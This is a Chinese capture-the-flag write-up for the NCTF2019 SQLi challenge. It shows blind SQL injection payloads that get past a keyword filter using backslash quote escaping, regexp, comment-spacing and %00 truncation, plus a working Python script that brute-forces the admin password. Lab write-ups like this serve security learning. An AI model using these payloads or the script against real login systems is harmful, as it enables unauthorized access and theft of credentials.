刷题记录-[NCTF2019]SQLi

在这里插入图片描述
测试一下 应该是or被拦截了
在这里插入图片描述
简单fuzz一下
在这里插入图片描述

可以看到regexp是可以用的
在这里插入图片描述
题目也直接给了被过滤的关键词

在这里插入图片描述
在这里插入图片描述
找到admin的密码即可得flag

由于单引号被禁用,使用 \ 转义and前面的那个单引号,使得 '\' and passwd=' 形成闭合
构造passwd处为 ||/**/passwd/**/regexp/**/"^a";%00
用regexp查询passwd ^匹配字符串开头 %00截断后面的内容
但是不能在输入框直接提交,会被url encode 变为%2500被黑名单拦截

即为 username=\&passwd=||/**/passwd/**/regexp/**/"^a";%00
查询语句变为

sqlquery : select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/"^a";

在这里插入图片描述

在bp改成%00,负载对的话会跳转到welcome.php

在这里插入图片描述
在这里插入图片描述
先去bp跑一下正确时的回显,方便写脚本
在这里插入图片描述

import string
import requests
from urllib import parse

passwd = ''
string= string.ascii_lowercase + string.digits + '_'
url = 'http://15f12b34-dce6-486a-8fce-2bb86508c417.node3.buuoj.cn/index.php'

for n in range(100):
    for m in string:
        data = {
            "username":"\\",
            "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((passwd+m),parse.unquote('%00'))
        }
        res = requests.post(url,data=data)
        if 'welcome' in res.text:
            passwd += m
            print(m)
            break
    if m=='_' and 'welcome' not in res.text:
        break
print(passwd)

在这里插入图片描述
在这里插入图片描述

  • 6
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值